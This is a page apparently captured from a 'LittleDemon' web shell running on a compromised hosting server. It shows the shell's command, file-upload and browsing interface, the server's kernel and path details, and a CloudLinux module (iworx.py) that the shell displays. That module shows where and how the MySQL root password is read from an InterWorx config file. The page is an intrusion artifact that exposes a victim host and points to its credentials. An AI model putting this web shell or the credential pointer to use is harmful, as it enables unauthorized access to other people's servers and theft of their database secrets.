LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /usr/share/lve/dbgovernor/modules/
File Upload :
Command :
Current File : //usr/share/lve/dbgovernor/modules/iworx.py

# coding:utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#
"""
This module contains class for managing governor on Iworx server
"""
import os

from utilities import grep
from .base import InstallManager


class IWorxManager(InstallManager):
    """
    Implementation for iworx panel
    """
    CONF_PATH = "/home/interworx/iworx.ini"

    def get_mysql_user(self):
        """
        Retrieve MySQL user name and password and save it into self attributes
        """
        if os.path.exists(self.CONF_PATH):
            self.MYSQLUSER = "iworx"
            lines = grep(self.CONF_PATH, "rootdsn=")
            try:
                # MYSQLPASSWORD = exec_command("cat /home/interworx/iworx.ini | grep rootdsn= | cut -d"/" -f3 | cut -d: -f2 | cut -d@ -f1", True)
                self.MYSQLPASSWORD = lines[0].split("/")[2].split(":")[1].split("@")[0]
            except IndexError:
                self.MYSQLPASSWORD = None

LittleDemon - FACEBOOK
[ KELUAR ]